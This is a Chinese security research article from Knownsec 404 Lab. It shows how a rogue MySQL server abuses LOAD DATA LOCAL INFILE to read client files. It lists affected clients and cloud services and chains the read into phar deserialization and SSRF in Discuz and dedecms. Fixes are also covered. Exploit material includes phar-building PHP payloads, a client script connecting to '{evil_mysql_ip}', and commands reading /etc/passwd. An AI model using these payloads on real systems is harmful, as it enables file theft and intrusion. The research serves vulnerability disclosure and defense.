CSS-T | Mysql Client 任意檔案讀取攻擊鏈擴充

酷酷的曉得哥發表於2020-01-15

作者:LoRexxar@知道創宇404實驗室 & Dawu@知道創宇404實驗室 

原文地址:

英文版本:

這應該是一個很早以前就爆出來的漏洞,而我見到的時候是在TCTF2018 final線下賽的比賽中,是被 Dragon Sector 和 Cykor 用來非預期h4x0r's club這題的一個技巧。

http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

在後來的研究中,和@Dawu的討論中頓時覺得這應該是一個很有趣的trick,在逐漸追溯這個漏洞的過去的過程中,我漸漸發現這個問題作為mysql的一份feature存在了很多年,從13年就有人分享這個問題。

在圍繞這個漏洞的挖掘過程中,我們不斷地發現新的利用方式,所以將其中大部分的發現都總結並準備了議題在CSS上分享,下面讓我們來一步步分析。

Load data infile

load data infile是一個很特別的語法,熟悉注入或者經常打CTF的朋友可能會對這個語法比較熟悉,在CTF中,我們經常能遇到沒辦法load_file讀取檔案的情況,這時候唯一有可能讀到檔案的就是load data infile,一般我們常用的語句是這樣的:

load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

mysql server會讀取服務端的/etc/passwd然後將資料按照 '\n'分割插入表中,但現在這個語句同樣要求你有FILE許可權,以及非local載入的語句也受到 secure_file_priv的限制

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

如果我們修改一下語句,加入一個關鍵字local。

mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
Query OK, 11 rows affected, 11 warnings (0.01 sec)
Records: 11  Deleted: 0  Skipped: 0  Warnings: 11

加了local之後,這個語句就成了,讀取客戶端的檔案傳送到服務端,上面那個語句執行結果如下

很顯然,這個語句是不安全的,在mysql的文件裡也充分說明了這一點

https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

在mysql文件中的說到, 服務端可以要求客戶端讀取有可讀許可權的任何檔案

mysql認為 客戶端不應該連線到不可信的服務端

我們今天的這個問題,就是圍繞這個基礎展開的。

構造惡意服務端

在思考明白了前面的問題之後,核心問題就成了,我們怎麼構造一個惡意的mysql服務端。

在搞清楚這個問題之前,我們需要研究一下mysql正常執行連結和查詢的資料包結構。

1、greeting包,服務端返回了banner,其中包含mysql的版本

2、客戶端登入請求

3、然後是初始化查詢,這裡因為是phpmyadmin所以初始化查詢比較多

4、load file local

由於我的環境在windows下,所以這裡讀取為 C:/Windows/win.ini,語句如下

load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\n';

首先是客戶端傳送查詢

然後服務端返回了需要的路徑

然後客戶端直接把內容傳送到了服務端

看起來流程非常清楚,而且客戶端讀取檔案的路徑並不是從客戶端指定的,而是傳送到服務端,服務端制定的。

原本的查詢流程為

客戶端:我要把win.ini插入test表中
服務端:我要你的win.ini內容
客戶端:win.ini的內容如下....

假設服務端由我們控制,把一個正常的流程篡改成如下

客戶端:我要test表中的資料
服務端:我要你的win.ini內容
客戶端:win.ini的內容如下???

上面的第三句究竟會不會執行呢?

讓我們回到 mysql的文件中,文件中有這麼一句話:

服務端可以在任何查詢語句後回覆檔案傳輸請求,也就是說我們的想法是成立的

在深入研究漏洞的過程中,不難發現這個漏洞是否成立在於Mysql client端的配置問題,而經過一番研究,我發現在mysql登入驗證的過程中,會傳送客戶端的配置。

在greeting包之後,客戶端就會連結並試圖登入,同時資料包中就有關於是否允許使用load data local的配置,可以從這裡直白的看出來客戶端是否存在這個問題(這裡返回的客戶端配置不一定是準確的,後面會提到這個問題)。

poc

在想明白原理之後,構建惡意服務端就變得不那麼難了,流程很簡單 1.回覆mysql client一個greeting包 2.等待client端傳送一個查詢包 3.回覆一個file transfer包

這裡主要是構造包格式的問題,可以跟著原文以及各種文件完成上述的幾次查詢.

值得注意的是,原作者給出的poc並沒有適配所有的情況,部分mysql客戶端會在登陸成功之後傳送ping包,如果沒有回覆就會斷開連線。也有部分mysql client端對greeting包有較強的校驗,建議直接抓包按照真實包內容來構造。

原作者給出的poc

演示

這裡用了一臺騰訊雲做服務端,客戶端使用phpmyadmin連線

我們成功讀取了檔案。

影響範圍

底層應用

在這個漏洞到底有什麼影響的時候,我們首先必須知道到底有什麼樣的客戶端受到這個漏洞的威脅。

  • mysql client (pwned)
  • php mysqli (pwned,fixed by 7.3.4)
  • php pdo (預設禁用)
  • python MySQLdb (pwned)
  • python mysqlclient (pwned)
  • java JDBC Driver (pwned,部分條件下預設禁用)
  • navicat (pwned)

探針

在深入挖掘這個漏洞的過程中,第一時間想到的利用方式就是mysql探針,但可惜的是,在測試了市面上的大部分探針後發現大部分的探針連線之後只接受了greeting包就斷開連線了,沒有任何查詢,盡職盡責。

  • 雅黑PHP探針 失敗
  • iprober2 探針 失敗
  • PHP探針 for LNMP一鍵安裝包 失敗
  • UPUPW PHP 探針 失敗
  • ...

雲服務商 雲資料庫 資料遷移服務

國內

  • 騰訊雲 DTS 失敗,禁用Load data local
  • 阿里雲 RDS 資料遷移失敗,禁用Load data local
  • 華為雲 RDS DRS服務 成功

  • 京東雲 RDS不支援遠端遷移功能,分散式關聯式資料庫未開放
  • UCloud RDS不支援遠端遷移功能,分散式關聯式資料庫不能對外資料同步
  • QiNiu雲 RDS不支援遠端遷移功能
  • 新睿雲 RDS不支援遠端遷移功能
  • 網易雲 RDS 外部例項遷移 成功

  • 金山雲 RDS DTS資料遷移 成功

  • 青雲Cloud RDS 資料匯入 失敗,禁用load data local
  • 百度Cloud RDS DTS 成功

國際雲服務商

  • Google could SQL資料庫遷移失敗,禁用Load data infile
  • AWS RDS DMS服務 成功

Excel online sql查詢

之前的一篇文章中提到過,在Excel中一般有這樣一個功能,從資料庫中同步資料到表格內,這樣一來就可以透過上述方式讀取檔案。

受到這個思路的啟發,我們想到可以找online的excel的這個功能,這樣就可以實現任意檔案讀取了。

  • WPS failed(沒找到這個功能)
  • Microsoft excel failed(禁用了infile語句)
  • Google 表格 (原生沒有這個功能,但卻支援外掛,下面主要說外掛)
    • Supermetrics pwned

- Advanced CFO Solutions MySQL Query failed
- SeekWell failed
- Skyvia Query Gallery failed
- database Borwser failed
- Kloudio pwned

擴充?2RCE!

拋開我們前面提的一些很特殊的場景下,我們也要討論一些這個漏洞在通用場景下的利用攻擊鏈。

既然是圍繞任意檔案讀取來討論,那麼最能直接想到的一定是有關配置檔案的洩露所導致的漏洞了。

任意檔案讀 with 配置檔案洩露

在Discuz x3.4的配置中存在這樣兩個檔案

config/config_ucenter.php
config/config_global.php

在dz的後臺,有一個ucenter的設定功能,這個功能中提供了ucenter的資料庫伺服器配置功能,透過配置資料庫連結惡意伺服器,可以實現任意檔案讀取獲取配置資訊。

配置ucenter的訪問地址。

原地址: 修改為: \');phpinfo();//

當我們獲得了authkey之後,我們可以透過admin的uid以及鹽來計算admin的cookie。然後用admin的cookie以及 UC_KEY來訪問即可生效

任意檔案讀 to 反序列化

2018年BlackHat大會上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper議題,原文 。

在該議題中提到,在PHP中存在一個叫做 Stream API,透過註冊擴充可以註冊相應的偽協議,而phar這個擴充就註冊了 phar://這個stream wrapper。

在我們知道創宇404實驗室安全研究員seaii曾經的研究( )中表示,所有的檔案函式都支援stream wrapper。

深入到函式中,我們可以發現,可以支援steam wrapper的原因是呼叫了

stream = php_stream_open_wrapper_ex(filename, "rb" ....);

從這裡,我們再回到mysql的load file local語句中,在mysqli中,mysql的讀檔案是透過php的函式實現的

if (PG(open_basedir)) {
        if (php_check_open_basedir_ex(filename, 0) == -1) {
            strcpy(info->error_msg, "open_basedir restriction in effect. Unable to open file");
            info->error_no = CR_UNKNOWN_ERROR;
            DBG_RETURN(1);
        }
    }
    info->filename = filename;
    info->fd = php_stream_open_wrapper_ex((char *)filename, "r", 0, NULL, context);

也同樣呼叫了 php_stream_open_wrapper_ex函式,也就是說,我們同樣可以透過讀取phar檔案來觸發反序列化。

復現

首先需要一個生成一個phar

pphar.php<?phpclass A {
    public $s = '';
    public function __wakeup () {
        echo "pwned!!";
    }}@unlink("phar.phar");$phar = new Phar("phar.phar"); //字尾名必須為phar$phar->startBuffering();$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //設定stub$o = new A();$phar->setMetadata($o); //將自定義的meta-data存入manifest$phar->addFromString("test.txt", "test"); //新增要壓縮的檔案//簽名自動計算$phar->stopBuffering();?>

使用該檔案生成一個phar.phar

然後我們模擬一次查詢

test.php<?phpclass A {
    public $s = '';
    public function __wakeup () {
        echo "pwned!!";
    }}$m = mysqli_init();mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);$p = mysqli_query($m, 'select 1;');// file_get_contents('phar://./phar.phar');

圖中我們只做了select 1查詢,但我們偽造的evil mysql server中驅使mysql client去做 load file local查詢,讀取了本地的

phar://./phar.phar

成功觸發反序列化

反序列化 to RCE

當一個反序列化漏洞出現的時候,我們就需要從原始碼中去尋找合適的pop鏈,建立在pop鏈的利用基礎上,我們可以進一步的擴大反序列化漏洞的危害。

php序列化中常見的魔術方法有以下 - 當物件被建立的時候呼叫: construct - 當物件被銷燬的時候呼叫:destruct - 當物件被當作一個字串使用時候呼叫: toString - 序列化物件之前就呼叫此方法(其返回需要是一個陣列):sleep - 反序列化恢復物件之前就呼叫此方法: wakeup - 當呼叫物件中不存在的方法會自動呼叫此方法:call

配合與之相應的pop鏈,我們就可以把反序列化轉化為RCE。

dedecms 後臺反序列化漏洞 to SSRF

dedecms 後臺,模組管理,安裝UCenter模組。開始配置

首先需要找一個確定的UCenter服務端,可以透過找一個dz的站來做服務端。

然後就會觸發任意檔案讀取,當然,如果讀取檔案為phar,則會觸發反序列化。

我們需要先生成相應的phar

<?phpclass Control{
    var $tpl;
    // $a = new SoapClient(null,array('uri'=>'));
    public $dsql;
    function __construct(){
        $this->dsql = new SoapClient(null,array('uri'=>'));
    }
    function __destruct() {
        unset($this->tpl);
        $this->dsql->Close(TRUE);
    }}@unlink("dedecms.phar");$phar = new Phar("dedecms.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設定stub,增加gif檔案頭$o = new Control();$phar->setMetadata($o); //將自定義meta-data存入manifest$phar->addFromString("test.txt", "test"); //新增要壓縮的檔案//簽名自動計算$phar->stopBuffering();?>

然後我們可以直接透過前臺上傳頭像來傳檔案,或者直接後臺也有檔案上傳介面,然後將rogue mysql server來讀取這個檔案

phar://./dedecms.phar/test.txt

監聽5555可以收到

ssrf進一步可以攻擊redis等擴充攻擊面,就不多說了。

部分CMS測試結果

CMS名 影響版本 是否存在mysql任意檔案讀取 是否有可控的MySQL伺服器設定 是否有可控的反序列化 是否可上傳phar 補丁
phpmyadmin < 4.8.5
Dz 未修復 None None
drupal None 否(使用PDO) 否(安裝) None
dedecms None 是(ucenter) 是(ssrf) None
ecshop None None
禪道 None 否(PDO) None None None
phpcms None 是(ssrf) None
帝國cms None None None
phpwind None 否(PDO) None None None
mediawiki None 否(後臺沒有修改mysql配置的方法) None
Z-Blog None 否(後臺沒有修改mysql配置的方法) None

修復方式

對於大多數mysql的客戶端來說,load file local是一個無用的語句,他的使用場景大多是用於傳輸資料或者上傳資料等。對於客戶端來說,可以直接關閉這個功能,並不會影響到正常的使用。

具體的關閉方式見文件 -   https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

對於不同服務端來說,這個配置都有不同的關法,對於JDBC來說,這個配置叫做 allowLoadLocalInfile

在php的mysqli和mysql兩種連結方式中,底層程式碼直接決定了這個配置。

這個配置是 PHP_INI_SYSTEM,在php的文件中,這個配置意味著 Entry can be set in php.ini or httpd.conf

所以只有在php.ini中修改 mysqli.allow_local_infile = Off就可以修復了。

在php7.3.4的更新中,mysqli中這個配置也被預設修改為關閉

可惜在不再更新的舊版本mysql5.6中,無論是mysql還是mysqli預設都為開啟狀態。

現在的程式碼中也可以透過 mysqli_option,在連結前配置這個選項。

比較有趣的是,透過這種方式修復,雖然禁用了 allow_local_infile,但是如果使用wireshark抓包卻發現 allow_local_infile仍是啟動的(但是無效)。

在舊版本的phpmyadmin中,先執行了 mysqli_real_connect,然後設定 mysql_option,這樣一來 allow_local_infile實際上被禁用了,但是在發起連結請求時中 allow_local_infile還沒有被禁用。

實際上是因為 mysqli_real_connect在執行的時候,會初始化 allow_local_infile。在php程式碼底層 mysqli_real_connect實際是執行了 mysqli_common_connect。而在 mysqli_common_connect的程式碼中,設定了一次 allow_local_infile

如果在 mysqli_real_connect之前設定 mysql_option,其 allow_local_infile的配置會被覆蓋重寫,其修改就會無效。

phpmyadmin在1月22日也正是透過交換兩個函式的相對位置來修復了該漏洞。

說在最後

這是一個針對mysql feature的攻擊模式,思路非常有趣,就目前而言在mysql層面沒法修復,只有在客戶端關閉了這個配置才能避免印象。雖然作為攻擊面並不是很廣泛,但可能針對一些特殊場景的時候,可以特別有效的將一個正常的功能轉化為任意檔案讀取,在擴充攻擊面上非常的有效。

詳細的攻擊場景這裡就不做假設了,危害還是比較大的。

REF


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69912109/viewspace-2673452/,如需轉載,請註明出處,否則將追究法律責任。

相關文章